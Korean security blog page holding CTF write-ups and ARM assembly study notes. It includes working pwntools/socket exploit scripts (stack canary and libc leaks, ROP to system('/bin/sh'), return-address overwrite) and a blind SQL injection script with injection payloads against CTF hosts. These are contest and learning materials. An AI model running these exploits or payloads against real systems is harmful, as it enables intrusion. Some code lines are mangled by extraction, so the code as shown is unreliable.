보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.





멍청하게 트리거도 안해놓고 libc 릭이 안된다고 답답해 미쳐가고 있었다...

덮어쓴 버퍼 위치정도는 잘 확인하자 ㅠㅠ

(그건 그렇고 pwntools 진짜 편하네)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from hackutil import *
from pwn import *
 
#============================
HOST = 'localhost'
PORT = 31335
 
offset_write_system = 0xd9510 - 0x3fcd0
name_address = 0x0804D7A0
pppr = 0x8049acd
binary = ELF('/home/skyclad/bin/watermelon')
#============================
 
conn = remote(HOST, PORT)
 
print " =============== [ Phase 1 : Canary Leak ] =============== "
 
conn.recvuntil('name : ')
conn.sendline('/bin/sh')
 
conn.recvuntil('select\t|\t\n')
 
for i in range(100):
    conn.sendline('1')
    conn.recvuntil('music')
    conn.sendline('1')
    conn.recvuntil('artist')
    conn.sendline('1')
    conn.recvuntil('select')
 
conn.sendline('3')
conn.recvuntil('number')
conn.sendline('100')
conn.recvuntil('music')
conn.sendline('5kyc1ad')
conn.recvuntil('artist')
conn.sendline('A'*20)
conn.recvuntil('select')
conn.sendline('2')
conn.recvuntil('A'*20)
 
canary = up32("\x00"+conn.recv(4)[1:])[0]
print "[*] Find Canary : "+str(hex(canary))
 
print " =============== [ Phase 2 : Libc Leak ] =============== "
 
conn.recvuntil('select')
 
conn.sendline('3')
conn.sendline('100')
conn.sendline('5kyc1ad')
 
payload = 'A'*20 + p32(canary) + 'A'*(8+4)
payload += p32(binary.plt['write']) + p32(pppr) + p32(1+ p32(binary.got['write']) + p32(4)
payload += p32(binary.plt['read']) + p32(pppr) + p32(0+ p32(binary.got['write']) + p32(4)
payload += p32(binary.plt['write']) + 'AAAA' + p32(name_address)
 
conn.sendline(payload)
conn.recvuntil('select')
conn.sendline('4')
conn.recvuntil('BYE BYE\n\n')
 
write_lib = up32(conn.recv(4))[0]
print "[*] Find write_lib : " + str(hex(write_lib))
system_lib = write_lib - offset_write_system
print "[*] Find system_lib : " + str(hex(system_lib))
 
print " =============== [ Phase 3 : Got Overwrite ] ================ "
conn.send(p32(system_lib))
print "[*] Get Shell"
conn.interactive()
 
cs


'CTF > 지난 대회' 카테고리의 다른 글

2016 SSG CTF - mg (350p)  (0) 2016.04.14
Codegate Junior 2014 Prequal - nuclear (with pwntools)  (0) 2016.03.02
Plaid CTF 2013 - ropasaurusrex (with pwntools)  (0) 2016.02.29
SecuInside 2013 - PE_time  (0) 2016.01.13
SecuInside 2013 - reader  (0) 2016.01.13
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,





ARM 공부의 목적이었던 ARM Assembly로 프로그래밍을 해보았다.

가장 처음 Intel Assembly로 Hello World를 찍을 때 썼던 방식 그대로이다.

사실 ARM은 레지스터에 인자를 주기 때문에 스택을 할당할 필요는 없지만 배우는 김에 갖다 쓰면서 그대로 할당하도록 해 두었다.

확실히 Intel에 비해 덜 익숙해서 그런지 위화감이 조금 있긴 하지만 금방 익숙해질 것 같다.


실행시키면 이렇게 "Hello, World!"를 출력해 준다.


이것도 Intel때와 마찬가지로 syscall을 이용하여 write 함수를 사용한 것인데,

첫번째 인자인 r0에는 File Descriptor로 stdout인 1이 들어가고,

r1에는 문자열의 주소가 들어가며

r2에는 문자열의 길이인 14가 들어갔다.

r7에는 syscall에서 write함수가 4번이기 때문에 4를 지정해 주었다.

요즘은 'Software Interrupt'를 나타내는 swi 명령어보다는 'Supervisor Call'을 나타내는 svc를 쓴다고는 하지만 일단 컴파일은 되므로 swi를 사용하여 프로그래밍해 보았다.

실제로 컴파일한 내용을 다시 디스어셈블해서 확인해 보니 swi가 아니라 svc로 되어 있었다.

계속 공부하자!

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.



Hello World는 분석하기에 너무 명령어 수도 적고 실력도 크게는 늘지 않을 것 같아 조금 더 소스를 늘려 본 코드를 가져왔다.

조금이지만 더 복잡하므로 분석할 가치는 있어 보인다.




argv[1]로 문자열을 입력받고, 총 10번 해당 문자열을 출력해 주는 간단한 프로그램이다.

이를 컴파일하고 디스어셈블해서 보면 다음과 같다.


대충 봐도 Hello World보다는 훨씬 길고 복잡한 코드이다.

이도 마찬가지로 쭉 분석해 보겠다.





   0x00010480 <+0>: push {r11, lr}

// lr과 r11을 스택에 저장한다. 전에도 봤다시피 함수 프롤로그인 것 같다.

   0x00010484 <+4>: add r11, sp, #4

// r11에 sp+4의 값을 구하여 저장한다.

   0x00010488 <+8>: sub sp, sp, #16

// sp에서 16을 빼서 다시 sp에 저장한다. 스택에 공간을 할당하는 부분이다.

   0x0001048c <+12>: str r0, [r11, #-16]

// *(r11-16)에 r0을 집어넣는다.

   0x00010490 <+16>: str r1, [r11, #-20]

// *(r11-20)에 r1을 집어넣는다.

   0x00010494 <+20>: ldr r3, [r11, #-16]

// r3에 *(r11-16)의 값을 가져와 넣는다.

// 위에서 *(r11-16)에 r0을 넣었으므로 이 명령 이후 r3에는 r0의 값이 들어 있다.

   0x00010498 <+24>: cmp r3, #2

// r3와 상수 2를 비교한다.

   0x0001049c <+28>: beq 0x104b0 <main+48>

// 만약 같았다면 main+48인 0x104b0으로 점프한다.

   0x000104a0 <+32>: ldr r0, [pc, #136] ; 0x10530 <main+176>

// 다르다면 *(pc+136)의 값을 r0에 집어넣는다.

   0x000104a4 <+36>: bl 0x1031c

// 0x1031c로 점프한다.

// 실행시켜본 결과 printf함수가 실행되었다. r0에 들어간 것은 문자열의 주소였을 것이다.

   0x000104a8 <+40>: mov r3, #1

// r3에 1을 집어넣고

   0x000104ac <+44>: b 0x10524 <main+164>

// main+164로 점프하는데, 이곳은 확인해보면 함수 에필로그 부분이다.

// 즉, 위 조건문에서 argc를 비교하고 2가 아닐 경우 printf 함수 실행 후 return 1을 수행한다는 것을 알 수 있다.


   0x000104b0 <+48>: ldr r3, [r11, #-20]

// 정상적으로 조건문을 통과하면 여기로 오게 된다.

// 이번엔 r3에 *(r11-20)을 집어넣는다.

   0x000104b4 <+52>: add r3, r3, #4

// r3에 4를 더한다.

   0x000104b8 <+56>: ldr r3, [r3]

// r3안의 값을 가져와서 r3에 넣는다.

// argv에서 argv[1]의 값을 가져오는 과정이었다고 생각된다.

   0x000104bc <+60>: mov r0, r3

// r0에 r3를 넣는다. ARM에서는 함수 인자를 r0에 넣는 모양이다.

   0x000104c0 <+64>: bl 0x10340

// 이후 0x10340의 함수를 호출한다.

   0x000104c4 <+68>: mov r3, r0

// r0을 r3에 집어넣는다.

   0x000104c8 <+72>: cmp r3, #256 ; 0x100

// r3와 0x100을 비교한다. 방금 점프한 곳은 strlen이었던 것 같다.

   0x000104cc <+76>: bls 0x104e0 <main+96>

// bls 명령은 비교 결과가 작았을 경우 점프하는 명령이다.

   0x000104d0 <+80>: ldr r0, [pc, #92] ; 0x10534 <main+180>

// 256보다 컸을 경우에는 점프하지 않으므로 다음 명령이 바로 실행되는데,

// r0에 *(pc+92)를 집어넣는다.

   0x000104d4 <+84>: bl 0x1031c

// 위에서 확인한 printf 함수의 주소이다.

   0x000104d8 <+88>: mov r3, #1

   0x000104dc <+92>: b 0x10524 <main+164>

// 마찬가지로 r3에 1을 넣고 main의 에필로그로 점프한다.


   0x000104e0 <+96>: mov r3, #0

// 두 번째 조건문까지 무사히 통과하면 r3에 0을 넣는다.

   0x000104e4 <+100>: str r3, [r11, #-8] 

// *(r11-8)에 r3를 집어넣는다.

   0x000104e8 <+104>: b 0x10514 <main+148>

// main+148로 점프한다. 반복문의 시작일 듯 하다. 바로 main+148로 점프하자.


   0x000104ec <+108>: ldr r3, [r11, #-20]

// r3에 *(r11-20)의 값을 가져와 저장한다.

   0x000104f0 <+112>: add r3, r3, #4

// r3에 4를 더하고,

   0x000104f4 <+116>: ldr r3, [r3]

// *r3를 가져와 r3에 다시 넣는다.

// 위에서 봤던 구조와 비슷한 게 argv[1]을 가져오는 과정이다.

   0x000104f8 <+120>: ldr r0, [pc, #56] ; 0x10538 <main+184>

// *(pc+56)을 r0에 집어넣는다.

// 이 값을 확인해 보면 아마 포맷스트링이 나올 것이다.

   0x000104fc <+124>: ldr r1, [r11, #-8]

// r1에는 *(r11-8)을 집어넣는다. 카운터로 사용하는 값이다.

   0x00010500 <+128>: mov r2, r3

// r3를 r2로 집어넣는데, 여기에는 출력할 문자열의 주소가 들어 있다.

// 여기까지 레지스터의 상태를 확인해 보면, r0에는 *(pc+56)으로 포맷스트링이,

// r1에는 *(r11-8)로 카운터 변수, r2에는 argv[1]이 들어 있다.

   0x00010504 <+132>: bl 0x10310

// 뭔가 함수를 실행하는데, 아마 printf일 것 같다. 왜 위의 printf와 다른 주소인지는 잘 모르겠지만 아마 인자의 차이가 아닐까 싶다.

   0x00010508 <+136>: ldr r3, [r11, #-8]

// r3에 *(r11-8)을 가져와 집어넣는다.

   0x0001050c <+140>: add r3, r3, #1

// r3에 1을 더해서 다시 저장하고,

   0x00010510 <+144>: str r3, [r11, #-8]

// 이를 다시 *(r11-8)에 저장한다. 카운터 변수에 ++연산을 해준 모습이다.

   0x00010514 <+148>: ldr r3, [r11, #-8]

// r3에 *(r11-8)을 집어넣는다.

// 방금 반복문의 카운터가 되는 모양으로, 처음에는 0으로 초기화시켰다.

   0x00010518 <+152>: cmp r3, #9

// r3와 9를 비교하고,

   0x0001051c <+156>: ble 0x104ec <main+108>

// 같거나 작을 경우에는 main+108로 점프한다.


// for문 내부를 확인해 보면 총 10번 돌면서 계속 카운터 변수와 argv[1]를 출력함을 알 수 있다.

   0x00010520 <+160>: mov r3, #0

// r3에 0을 집어넣는다.

   0x00010524 <+164>: mov r0, r3

// r0에 r3의 값을 넣는다.

   0x00010528 <+168>: sub sp, r11, #4

// sp에 r11-4를 집어넣는다.

// 지금 보니 함수의 첫부분에 r11에 sp+4를 저장했으므로 이는 r11을 Stack Base Pointer로 쓰는 것과 비슷하다.

// 마지막에 r11-4를 sp에 넣는 것으로 복구까지 시켜주고, 변수를 이 기준으로 참조까지 하는 것을 보니 확실해 보인다.

   0x0001052c <+172>: pop {r11, pc}

// pc와 r11에 각각 pop 하여 함수를 끝낸다.

// 이 이후 명령은 뭔지 잘 모르겠다.

   0x00010530 <+176>: ; <UNDEFINED> instruction: 0x000105b0

   0x00010534 <+180>: andeq r0, r1, r4, asr #11

   0x00010538 <+184>: ldrdeq r0, [r1], -r8



생각했던것보다 양이 많아서 분석하는 데에 오래 걸렸다.

특히 처음에 r11에 sp+4를 집어넣는데 그 이유를 몰라서 더 힘들었던 것 같다.

왜 하필 sp+4를 해서 넣어주는지는 잘 모르겠지만 이게 Base Pointer 역할을 하고 있다는 것을 알게 되었다.

이번에도 간단한 명령들 뿐이긴 했지만 막상 이렇게 분석을 해 보니 역시 ARM은 명령어 체계를 압축해서 쓰며

따라서 원래 Intel계열 어셈블리보다 오히려 더 분석이 쉽고 명확한 부분도 있는 것 같았다.

나름 ARM도 해볼 만한 분야인 것 같다. 재미있다.

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

[ARM] Hello World 분석

Reversing 2016. 4. 22. 11:29




Intel 계열이라면 질리도록 봐서 금방 하겠지만 ARM은 그리 만만하지 않았다.

마음같아서는 IDA의 Hex-rays 기능을 이용하고 싶지만 그래도 공부하는 게 좋겠다고 생각해서 이렇게 시작하게 되었다.

ARM의 레지스터 구조 등은 이미 BoB 등에서 공부했기에, 중요한 부분만 간략히 서술하고 들어간다.




분석할 "Hello, World!\n"를 출력하는 프로그램이다.

프로그래밍 처음 배우면서 누구나 접해 볼 프로그램이고, 리버싱을 처음 접할 때 분석하게 되는 프로그램이기도 한다.

ARM 서버 32비트에서 gcc로 컴파일했다.

(Thanks to 5unKn0wn)




명령어들은 다음과 같았다.

분석하면서 하나하나 정리해 보자.


ARM의 명령 실행 구조는 총 세 단계의 구조를 가지는데, 이를 Instruction Pipeline이라고도 한다.

이 단계는 명령어를 메모리에 적재하는 Fetch,

적재된 명령어를 해석하는 Decode,

해석된 명령어를 실행하는 Execute 로 나뉜다.


ARM에서는 이 세 가지의 과정이 한 번에 실행된다.

즉, 하나의 명령이 실행되는 도중(Execute)이라면 그 다음 실행될 명령어가 해석(Decode)되고 있으며,

또 그 다음에 실행될 명령어가 적재(Fetch)되고 있다는 의미이다.


ARM에서 레지스터는 r0 ~ r15까지 총 16개가 존재하는데, 이중 r13은 Stack Pointer로 사용되며,

r14는 리턴 어드레스 용도로 함수 이후 실행될 주소가 저장된다. 이를 lr(Link Register)라고 부른다.

또한 r15가 가장 중요한 Program Counter로, 현재 fetch 되고 있는 명령어의 주소를 의미한다.


push {r11, lr}

// push 명령은 stack에 값을 적재하는 역할을 하는데, 직접 실행해 본 결과 lr, r11 순서로 push하는 것을 알 수 있었다.

// main 마지막에 pop {r11, pc} 를 하는데, 여기에 다시 들어갈 값을 저장하는 함수 프롤로그 부분이라고 볼 수 있다.

add r11, sp, #4

// add 명령은 Rd에 Rn + Op2를 더해서 저장하는 역할을 한다. 여기서는 r11에 sp+4를 저장한다. (ARM에서 상수 표기는 앞에 #을 붙인다.)

// 즉 r11에 sp+4를 넣는다.

sub sp, sp, #8

// add와 형식은 같다. sp에서 8을 빼서 sp에 저장한다. sp -= 8 이라고 볼 수 있겠다.

// 스택 사용 공간을 할당하는 것이 아닐까. 쓸 일은 없겠지만.

str r0, [r11, #-8]

// 갑자기 방향이 바뀌어서 헷갈리겠지만 STR 명령은 *(Rn + Op2)에 Rd를 집어넣는 명령이다. 갑자기 방향이 바뀌었다. 이게 ARM에서 제일 짜증나는 부분이라고 한다.

str r1, [r11, #-12]

// 마찬가지로 *(r11 - 12) 에 r1을 집어넣는다.

ldr r0, [pc, #16] ; 0x10448 <main+44>

// ldr 명령은 Rd에 *(Rn + Op2)를 집어넣는다. 여기서는 r0에 *(pc+16)을 넣는다.

// 세미콜론 뒤에 0x10448이라고 씌여 있는데 이 값은 pc+16의 값이므로 이 내부에 있는 값을 확인하면 문자열의 주소가 들어 있는 것을 확인할 수 있다.

// 이 값을 확인해 보면 "Hello World!\n"가 들어 있다.

// 즉, 이 명령은 r0이라는 레지스터에 문자열의 주소를 집어넣는 명령이다.

bl 0x102c4

// bl은 Branch with Link의 약자이다. Branch는 Intel계열 Assembly에서 JMP와 비슷한 명령으로, 주소 분기 명령어이다. 이 명령을 수행하면서 BL은 자동으로 lr에 다음 명령의 주소를 저장한다.

mov r3, #0

// r3에 0을 집어넣는다.

mov r0, r3

// r0에 r3의 값을 넣는다. 즉, r0에도 0을 집어넣는다.

// return 0; 을 했었으므로 main의 리턴값을 r0에 넣은 것이라고 볼 수 있다.

sub sp, r11, #4

// sp에 r11-4를 집어넣는다.

pop {r11, pc}

// pc와 r11에 각각 pop을 한다.

// 직접 디버깅해보며 실행해 보니 이 명령을 수행한 직후 바로 __libc_start_main으로 진입한다. 즉 여기서 함수가 끝난다고 볼 수 있겠다.

andeq r0, r1, r0, asr #9

// 이 명령에 대한 정보는 아무리 찾아봐도 제대로 나와있지 않아서 잘 모르겠다.

// 혹시 아는 분이 있다면 알려주시면 감사하겠습니다.




실행시킨 결과로 아름다운 Hello, World! 가 출력된다.

이래서 언제 ARM을 다 공부할지 걱정이지만 그래도 계속 공부하자.

블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

2016 sCTF Write-up

CTF/Write-up 2016. 4. 17. 00:29






혼자 참가했습니다.

팀명은 "Ar@Kor" 였고, 주말에 한시간쯤 잡고 평일에 조금씩 잡고 풀었습니다.

한국에서 참가한 다른 팀들은 놀면서 풀었는지 좀 밑에 있어서 놀랐습니다.


저걸 다 쓰기에는 양도 많고, 재미없는 문제들도 몇개 있어서 재밌었던거라던가, 올릴만한것만 올리겠습니다.

안올릴 문제들은 간단하게 설명만 하겠습니다.




When in Rome


그냥 엄청 간단한 Caesar Cipher 암호입니다.

Caesar Cipher Decoder/Decrypt 등으로 검색해서 돌리면 풀립니다.

Caesar 암호는 보안 공부하기 시작하고 직후에 배운 암호라 기억에 많이 남아있네요.




Banana Boy


스테가노그래피 문제였던걸로 기억합니다.

헥스에디터로 열어보면 뒷부분에 이미지 파일이 있고, 열어보면 키가 있었습니다.




rev1


말할 필요가 있나요.

그냥 키가 하드코딩되어있었습니다.




Ducks


source.php 에 들어가면 소스가 보이는 것을 알 수 있습니다.

이것을 보면 인자로 특정 값을 더 받는데, 그 인자는 form에 포함되어 있지 않기 때문에 해당 인자를 포함시켜줘야 합니다.

이 인자와 원래 들어가는 인자가 같을 경우 통과되기 때문에 같은 값을 넣어주면 됩니다.

저는 Fiddler를 이용해서 인자 부분을  pass=123&thepassword_123=123 형식으로 입력하고 보내서 플래그를 얻었습니다.




rev2


rev1이랑 크게 다를바가 없습니다.

하드코딩되어있는데, 리틀엔디안 방식으로 보이게 되어있기 때문에 IDA에서 4글자씩 문자열로 변환한 뒤

엔디안에 맞춰서 배열해주면 그것이 플래그입니다.




Lengthy Lingo


파일을 열어보면 뭔가 랜덤한 정수들이 나열되어 있고, ',' 로 각각이 구분되어 있습니다.

처음에는 조금 헤메었는데, ',' 로 나눈 후 각각의 길이를 재 보니 전부 ASCII 값이어서 이거다 싶어서 파이썬으로 코드를 짜서 돌렸습니다.

결국 제목의 Length라는 문자열이 힌트였던 셈이었습니다.

코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
= open('encrypted.dat''r')
data = f.read()
f.close()
data = data.split(', ')
 
req = ""
for i in data:
    req += chr(len(i))
print req
cs





Secure Text Saver


APK 리버싱 문제였습니다.

해당 jar 파일 내부에는 Account.class와 Login_Page.class가 있는데, 이 중 Login_Page.class 를 디컴파일하여 확인해 보면,


이런 부분이 있고, 이게 ID와 Password인 것을 알 수 있습니다.

그대로 입력하면 플래그가 등장합니다.




Cookies


마찬가지로 APK 리버싱 문제입니다.

이를 디컴파일하여 내부를 살펴 보면

이런 루틴이 있습니다.

md5한 값이 저 값이 되어야 하므로, 이를 hashkiller 등에서 찾아 보면 'thisisaverystrongpassword' 라는 문자열임을 알 수 있습니다.

이를 입력하면 플래그가 들어 있던 창이 나타납니다.




pwn1


32비트 포너블 문제입니다.

Demon으로 서비스가 작동하고 있었고, C++로 짜여 있었습니다.

코드는 매우 심플했습니다.



처음엔 이걸 보고 C++인걸 알고 엄청 질려버려서 바로 닫아버렸는데, 나중에 잡고 보니 매우 쉬운 문제였습니다.

우선 fgets로 s라는 stack 기반 char형 배열에 32글자를 받아옵니다.

여기만으로는 오버플로우가 불가능하지만,


이후 이를 std::string에 담아서 'I'라는 문자열을 'you'라는 문자열로 바꿉니다.

이후 c_str을 이용해 std::string이었던 string형을 다시 s에 복사합니다.

이로 인해 한 글자였던 'I'가 세 글자인 'you'로 바뀌게 되어 return address를 덮어쓸수 있게 됩니다.


여기서 고생해버린게, 그냥 문자열 목록을 보니 "cat flag.txt" 가 보이고 system 함수가 있길래

이를 이용해서 RTL로 풀려고 했었는데, 이상하게 한 글자정도가 부족하여 실행이 되지 않았습니다.

몇 시간동안 삽질을 하다 다시 함수 목록을 확인해 보니, get_flag라고 하는 함수가 있었고, 이 내부에서는

system("cat flag.txt") 를 실행해주고 있었습니다.

따라서 return address를 이 함수의 주소로 넣어주는 것으로 플래그를 얻을 수 있었습니다.


페이로드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from hackutil import *
from socket import *
from telnetlib import *
 
#====================
HOST = 'problems2.2016q1.sctf.io'
PORT = 1337
 
command = 0x080497F0
system_plt = 0x08048C40
system_got = 0x0804B028
printf = 0x0804B060
 
target = 0x08048F0D
#====================
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
payload = "I"*21 + "A" + p32(target)
 
print len(payload)
 
sock.send(payload+'\n')
 
= Telnet()
t.sock = sock
t.interact()
cs




pwn2


이게 오히려 pwn1보다 더 시간이 덜 걸렸습니다.


코드도 심플합니다.

입력할 길이를 확인해서 32 이하일 경우에만 해당 길이만큼 문자열을 입력받게 해주는데,

-1 등 음수를 입력하면 unsigned로 바꾸었을 때, 매우 큰 숫자가 되므로 이를 이용해 char형 배열인 nptr을 오버플로우 할 수 있습니다.

이후는 간단한 ROP입니다.


코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from hackutil import *
from socket import *
from telnetlib import *
from time import *
 
#====================
HOST = 'problems2.2016q1.sctf.io'
PORT = 1338
printf_plt = 0x08048370
libc_main_got = 0x0804A018
setvbuf_got = 0x804A01C
vuln = 0x0804852F
offset_libc_main_system = 0x19990 - 0x40190
offset_libc_main_binsh = 0x19990 - 0x160A24
#====================
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
 
# libc_main Leak
 
print sock.recv(1024)
 
sock.send('-1'+'\n')
print sock.recv(1024)
 
payload = 'A'*(0x2C+4+ p32(printf_plt) + p32(vuln) + p32(libc_main_got)
sock.send(payload+'\n')
sleep(0.1)
sock.recv(1024)
 
data = sock.recv(1024)
 
libc_main_lib = up32(data[:4])[0]
print "[*] Find libc_main_lib : " + str(hex(libc_main_lib))
 
system_lib = libc_main_lib - offset_libc_main_system
print "[*] Find system_lib : " + str(hex(system_lib))
 
binsh = libc_main_lib - offset_libc_main_binsh
print "[*] Find /bin/sh : " + str(hex(binsh))
 
# Attack
 
sock.send('-1'+'\n')
print sock.recv(1024)
 
payload = 'A'*(0x2C+4+ p32(system_lib) + 'AAAA' + p32(binsh)
sock.send(payload+'\n')
sleep(0.1)
sock.recv(1024)
 
= Telnet()
t.sock = sock
t.interact()
cs





Verticode, Vertinet


이 둘은 매우 비슷한 문제였기 때문에 함께 쓰겠습니다.

verticode는 매우 긴 이미지 파일을 하나 주고, 이 안에 들어 있는 색과 흑백값을 이용해 ASCII로 변환하는 문제였습니다.

한 줄당 하나의 색과 총 8개의 흑백값이 주어졌으며 이를 분석하기 위해 python image library를 사용하였습니다.

vertinet은 verticode와 같은 형식이지만, 특정 포트로 접속하여 이미지 소스를 받은 후 이를 Base64 decode하여 이미지 파일로 저장하고,

해독 후 다시 서버로 응답하는 과정을 (정확히는 기억이 잘 안나지만) 60회정도 반복하면 플래그를 보내주는 문제였습니다.

둘 모두 소스를 올리도록 하겠습니다.


<verticode>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from PIL import Image
 
# 84 * 12 = Color  +  12 * 12 * 8 = Code
# 0 RED     : 255 0 0
# 1 Purple     : 128 0 128
# 2 Blue    : 0 0 255
# 3 Green    : 0 128 0
# 4 Yellow    : 255 255 0
# 5 Orange    : 255 165 0
 
flag = ""
 
im = Image.open('code1.png')
width, height = im.size
print "width : %d, height : %d" % (width, height)
 
rgb_im = im.convert('RGB')
 
for i in range(01290012):
    r, g, b = rgb_im.getpixel((1, i+1))
    #print r, g, b # GET COLOR
    color_store = str(r)+"."+str(g)+"."+str(b)
 
 
    code_store = ""
    for j in range(8416812):
        r, g, b = rgb_im.getpixel((j+1, i+1))
        if r==255 and g==255 and b==255:
            code_store += "0"
        else:
            code_store += "1"
    #print code_store
 
    code = int(code_store, 2)
    if color_store == "255.0.0":
        pass
    elif color_store == "128.0.128":
        code -= 1
    elif color_store == "0.0.255":
        code -= 2
    elif color_store == "0.128.0":
        code -= 3
    elif color_store == "255.255.0":
        code -= 4
    elif color_store == "255.165.0":
        code -= 5
    else:
        print "[Error] " + color_store
    print chr(code)
    flag += chr(code)
print "[*] Find : "+flag
cs



<vertinet>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from socket import *
from base64 import *
from PIL import Image
import httplib
 
HOST = 'problems1.2016q1.sctf.io'
PORT = 50000
 
sock = socket(AF_INET, SOCK_STREAM)
sock.connect((HOST, PORT))
while(True):
    try:
        data = sock.recv(10000)
        if "base64" not in data:
            break
        data = data[data.find('base64,')+7:data.find("'></img><br>")]
 
        f = open('tmp.png''wb')
        f.write(b64decode(data))
        f.close()
 
        print "[*] Image Saved"
 
        flag = ""
 
        im = Image.open('tmp.png')
        width, height = im.size
        print "width : %d, height : %d" % (width, height)
 
        rgb_im = im.convert('RGB')
 
        for i in range(0, height, 12):
            r, g, b = rgb_im.getpixel((1, i+1))
            #print r, g, b # GET COLOR
            color_store = str(r)+"."+str(g)+"."+str(b)
 
 
            code_store = ""
            for j in range(8416812):
                r, g, b = rgb_im.getpixel((j+1, i+1))
                if r==255 and g==255 and b==255:
                    code_store += "0"
                else:
                    code_store += "1"
            #print code_store
 
            code = int(code_store, 2)
            if color_store == "255.0.0":
                pass
            elif color_store == "128.0.128":
                code -= 1
            elif color_store == "0.0.255":
                code -= 2
            elif color_store == "0.128.0":
                code -= 3
            elif color_store == "255.255.0":
                code -= 4
            elif color_store == "255.165.0":
                code -= 5
            else:
                print "[Error] " + color_store
            flag += chr(code)
        print "[*] Find : "+flag
 
        sock.send(flag)
    except:
        print data
print data
cs




President


간단한 웹 문제였는데 푸는데 삽질을 해버려서 시간이 좀 오래걸렸습니다.

페이지에 들어가면 대통령 후보인지는 잘 모르겠지만 어쨌든 다섯 명쯩 되는 사진이 있고

검색할 수 있는 form이 하나 있는 것을 볼 수 있습니다.

대충 넣어보기만 해도 SQL Injection 취약점이 있는 것을 알 수 있었고, 이를 이용해 Blind SQL Injection을 진행했습니다.

이걸로 키만 바로 뽑으면 되는데 comment에 limit 0~3까지 아무 값도 안나오길래 이미지 URL도 뽑고 온갖 value를 다 뽑았었는데

결국 limit 4,1에서인지 5,1에서인지 플래그 값이 등장해서 문제를 허무하게 풀었습니다. 

이번에 이진 탐색으로 BSQLi 소스를 짜게 되는 계기가 되어 이후 문제를 좀 더 빨리 풀 수 있게 되었습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import httplib
import urllib
 
#======================= Config ======================
isGET = False
printLog = False
 
PASSWD_LENGTH = 100
TARGET = "president.sctf.michaelz.xyz"
URL = "/"
PORT = 80
SUCCESS = "<td>Hillary</td>"
 
HEADER = {
    "Content-Type":"application/x-www-form-urlencoded",
    "Cookie":"_cfduid=d941155476c769c74216d245c25c99e411460529242"
}
#=====================================================
 
req = ""
checklast = False
 
print "[*] Blind SQL Injection to '"+TARGET+":"+str(PORT)+URL+"' Start"
print "[*] Printing Log : " + str(printLog)
if isGET == True:
    print "[*] HTTP Method : GET"
else:
    print "[*] HTTP Method : POST" 
 
for k in range(56):
    for i in range(24, PASSWD_LENGTH):
        left = 32
        right = 127
        mid = (left+right)/2
        while True:
            conn = httplib.HTTPConnection(TARGET, PORT)
            PARAM = urllib.urlencode({
                #"search":"aaa' or ascii(substr((select table_name from information_schema.tables limit "+str(k)+",1),"+str(i)+",1))>"+str(mid)+" and '1'='1"
                #"search":"aaa' or ascii(substr((select column_name from information_schema.columns where table_name='candidates' limit "+str(k)+",1),"+str(i)+",1))>"+str(mid)+" and '1'='1"
                "search":"aaa' or ascii(substr((select comment from candidates limit "+str(k)+",1),"+str(i)+",1))>"+str(mid)+" and '1'='1"
            })
            if printLog:
                print "[%d][%d][%d]" % (k, i, mid)
 
            if isGET==True:
                conn.request('GET', URL+"?"+PARAM, "", HEADER)
            else:
                conn.request('POST', URL, PARAM, HEADER)
            res = conn.getresponse().read()
 
            if SUCCESS in res:
                if mid == left:
                    print "[*] Find : "+chr(right)
                    req += chr(right)
                    break
                elif mid == right:
                    print "[*] Find : "+chr(left)
                    req += chr(left)
                    break
                left = mid
                mid = (left+right)/2
                checklast = False
 
            else:
                if mid == left or mid == right:
                    print "[*] Find String : " + req
                    checklast = True
                    break
                right = mid
                mid = (left+right)/2
        if checklast:
            req = ""
            break
 
# table : candidates
 
# The Hacker Anonymous
 
# Flag : sctf{why_do_people_still_make_sites_like_this}
 
cs






################# 후기 ##################


심심해서 참가해 본 대회지만 의외로 풀만한 문제가 엄청 많아서 재밌었습니다.

나중에 다른 사람들과 팀도 짜서 제대로 한번 나가보고 싶네요.

(난민은 웁니다 엉엉)


'CTF > Write-up' 카테고리의 다른 글

Codegate 2016 Junior Prequal Write-up  (0) 2016.03.19
제 13회 해킹캠프 CTF Write-up  (0) 2016.02.28
2015 Dimicon Prequal/Qual Write-up  (0) 2015.11.15
2015 Whitehat Contest Prequal  (0) 2015.10.13
제 12회 해킹캠프 CTF Write-up  (0) 2015.09.20
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

,

